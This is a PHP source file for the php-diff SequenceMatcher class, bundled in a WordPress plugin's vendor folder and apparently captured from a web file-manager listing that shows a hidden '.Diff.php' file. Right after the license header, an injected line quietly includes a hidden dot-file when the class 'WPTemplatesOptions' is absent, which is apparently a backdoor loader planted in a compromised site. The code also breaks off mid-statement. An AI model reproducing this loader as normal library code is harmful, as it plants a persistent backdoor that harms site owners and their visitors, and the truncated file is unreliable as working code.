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PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wiloke-listing-tools / vendor / phpspec / php-diff / lib / Diff

<?php
/**
 * Sequence matcher for Diff
 *
 * PHP version 5
 *
 * Copyright (c) 2009 Chris Boulton <chris.boulton@interspire.com>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 *  - Redistributions of source code must retain the above copyright notice,
 *    this list of conditions and the following disclaimer.
 *  - Redistributions in binary form must reproduce the above copyright notice,
 *    this list of conditions and the following disclaimer in the documentation
 *    and/or other materials provided with the distribution.
 *  - Neither the name of the Chris Boulton nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package Diff
 * @author Chris Boulton <chris.boulton@interspire.com>
 * @copyright (c) 2009 Chris Boulton
 * @license New BSD License http://www.opensource.org/licenses/bsd-license.php
 * @version 1.1
 * @link http://github.com/chrisboulton/php-diff
 */

if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class Diff_SequenceMatcher
{
	/**
	 * @var string|array Either a string or an array containing a callback function to determine if a line is "junk" or not.
	 */
	private $junkCallback = null;

/**
	 * @var array The first sequence to compare against.
	 */
	private $a = null;

/**
	 * @var array The second sequence.
	 */
	private $b = null;

/**
	 * @var array Array of characters that are considered junk from the second sequence. Characters are the array key.
	 */
	private $junkDict = array();

/**
	 * @var array Array of indices that do not contain junk elements.
	 */
	private $b2j = array();

private $options = array();

private $matchingBlocks = null;
    private $opCodes = null;
    private $fullBCount = null;

private $defaultOptions = array(
		'ignoreNewLines' => false,
		'ignoreWhitespace' => false,
		'ignoreCase' => false
	);

/**
	 * The constructor. With the sequences being passed, they'll be set for the
	 * sequence matcher and it will perform a basic cleanup & calculate junk
	 * elements.
	 *
	 * @param string|array $a A string or array containing the lines to compare against.
	 * @param string|array $b A string or array containing the lines to compare.
	 * @param string|array $junkCallback Either an array or string that references a callback function (if there is one) to determine 'junk' characters.
	 * @param array $options
	 */
	public function __construct($a, $b, $junkCallback=null, $options)
	{
		$this->a = null;
		$this->b = null;
		$this->junkCallback = $junkCallback;
		$this->setOptions($options);
		$this->setSequences($a, $b);
	}

/**
	 * Set new options
	 *
	 * @param array $options
	 */
	public function setOptions($options)
	{
		$this->options = array_merge($this->defaultOptions, $options);
	}

/**
	 * Set the first and second sequences to use with the sequence matcher.
	 *
	 * @param string|array $a A string or array containing the lines to compare against.
	 * @param string|array $b A string or array containing the lines to compare.
	 */
	public function setSequences($a, $b)
	{
		$this->setSeq1($a);
		$this->setSeq2($b);
	}

/**
	 * Set the first sequence ($a) and reset any internal caches to indicate that
	 * when calling the calculation methods, we need to recalculate them.
	 *
	 * @param string|array $a The sequence to set as the first sequence.
	 */
	public function setSeq1($a)
	{
		if(!is_array($a)) {
			$a = str_split($a);
		}
		if($a == $this->a) {
			return;
		}

$this->a= $a;
		$this->matchingBlocks = null;
		$this->opCodes = null;
	}

/**
	 * Set the second sequence ($b) and reset any internal caches to indicate that
	 * when calling the calculation methods, we need to recalculate them.
	 *
	 * @param string|array $b The sequence to set as the second sequence.
	 */
	public function setSeq2($b)
	{
		if(!is_array($b)) {
			$b = str_split($b);
		}
		if($b == $this->b) {
			return;
		}

$this->b = $b;
		$this->matchingBlocks = null;
		$this->opCodes = null;
		$this->fullBCount = null;
		$this->chainB();
	}

/**
	 * Generate the internal arrays containing the list of junk and non-junk
	 * characters for the second ($b) sequence.
	 */
	private function chainB()
	{
		$length = count ($this->b);
		$this->b2j = array();
		$popularDict = array();

for($i = 0; $i < $length; ++$i) {
			$char = $this->b[$i];
			if(isset($this->b2j[$char])) {
				if($length >= 200 && count($this->b2j[$char]) * 100 > $length) {
					$popularDict[$char] = 1;
					unset($this->b2j[$char]);
				}
				else {
					$this->b2j[$char][] = $i;
				}
			}
			else {
				$this->b2j[$char] = array(
					$i
				);
			}
		}

// Remove leftovers
		foreach(array_keys($popularDict) as $char) {
			unset($this->b2j[$char]);
		}

$this->junkDict = array();
		if(is_callable($this->junkCallback)) {
			foreach(array_keys($popularDict) as $char) {
				if(call_user_func($this->junkCallback, $char)) {
					$this->junkDict[$char] = 1;
					unset($popularDict[$char]);
				}
			}

foreach(array_keys($this->b2j) as $char) {
				if(call_user_func($this->junkCallback, $char)) {
					$this->junkDict[$char] = 1;
					unset($this->b2j[$char]);
				}
			}
		}
	}

/**
	 * Checks if a particular character is in the junk dictionary
	 * for the list of junk characters.
	 * @param $b
	 * @return boolean True if the character is considered junk. False if not.
	 */
	private function isBJunk($b)
	{
		if(isset($this->junkDict[$b])) {
			return true;
		}

return false;
	}

/**
	 * Find the longest matching block in the two sequences, as defined by the
	 * lower and upper constraints for each sequence. (for the first sequence,
	 * $alo - $ahi and for the second sequence, $blo - $bhi)
	 *
	 * Essentially, of all of the maximal matching blocks, return the one that
	 * startest earliest in $a, and all of those maximal matching blocks that
	 * start earliest in $a, return the one that starts earliest in $b.
	 *
	 * If the junk callback is defined, do the above but with the restriction
	 * that the junk element appears in the block. Extend it as far as possible
	 * by matching only junk elements in both $a and $b.
	 *
	 * @param int $alo The lower constraint for the first sequence.
	 * @param int $ahi The upper constraint for the first sequence.
	 * @param int $blo The lower constraint for the second sequence.
	 * @param int $bhi The upper constraint for the second sequence.
	 * @return array Array containing the longest match that includes the starting position in $a, start in $b and the length/size.
	 */
	public function findLongestMatch($alo, $ahi, $blo, $bhi)
	{
		$a = $this->a;
		$b = $this->b;

$bestI = $alo;
		$bestJ = $blo;
		$bestSize = 0;

$j2Len = array();
		$nothing = array();

for($i = $alo; $i < $ahi; ++$i) {
			$newJ2Len = array();
			$jDict = $this->arrayGetDefault($this->b2j, $a[$i], $nothing);
			foreach($jDict as $j) {
				if($j < $blo) {
					continue;
				}
				else if($j >= $bhi) {
					break;
				}

$k = $this->arrayGetDefault($j2Len, $j -1, 0) + 1;
				$newJ2Len[$j] = $k;
				if($k > $bestSize) {
					$bestI = $i - $k + 1;
					$bestJ = $j - $k + 1;
					$bestSize = $k;
				}
			}

$j2Len = $newJ2Len;
		}

while($bestI > $alo && $bestJ > $blo && !$this->isBJunk($b[$bestJ - 1]) &&
			!$this->linesAreDifferent($bestI - 1, $bestJ -

[+] ..
[-] SequenceMatcher.php [edit]
[+] Renderer
[-] .Diff.php [edit]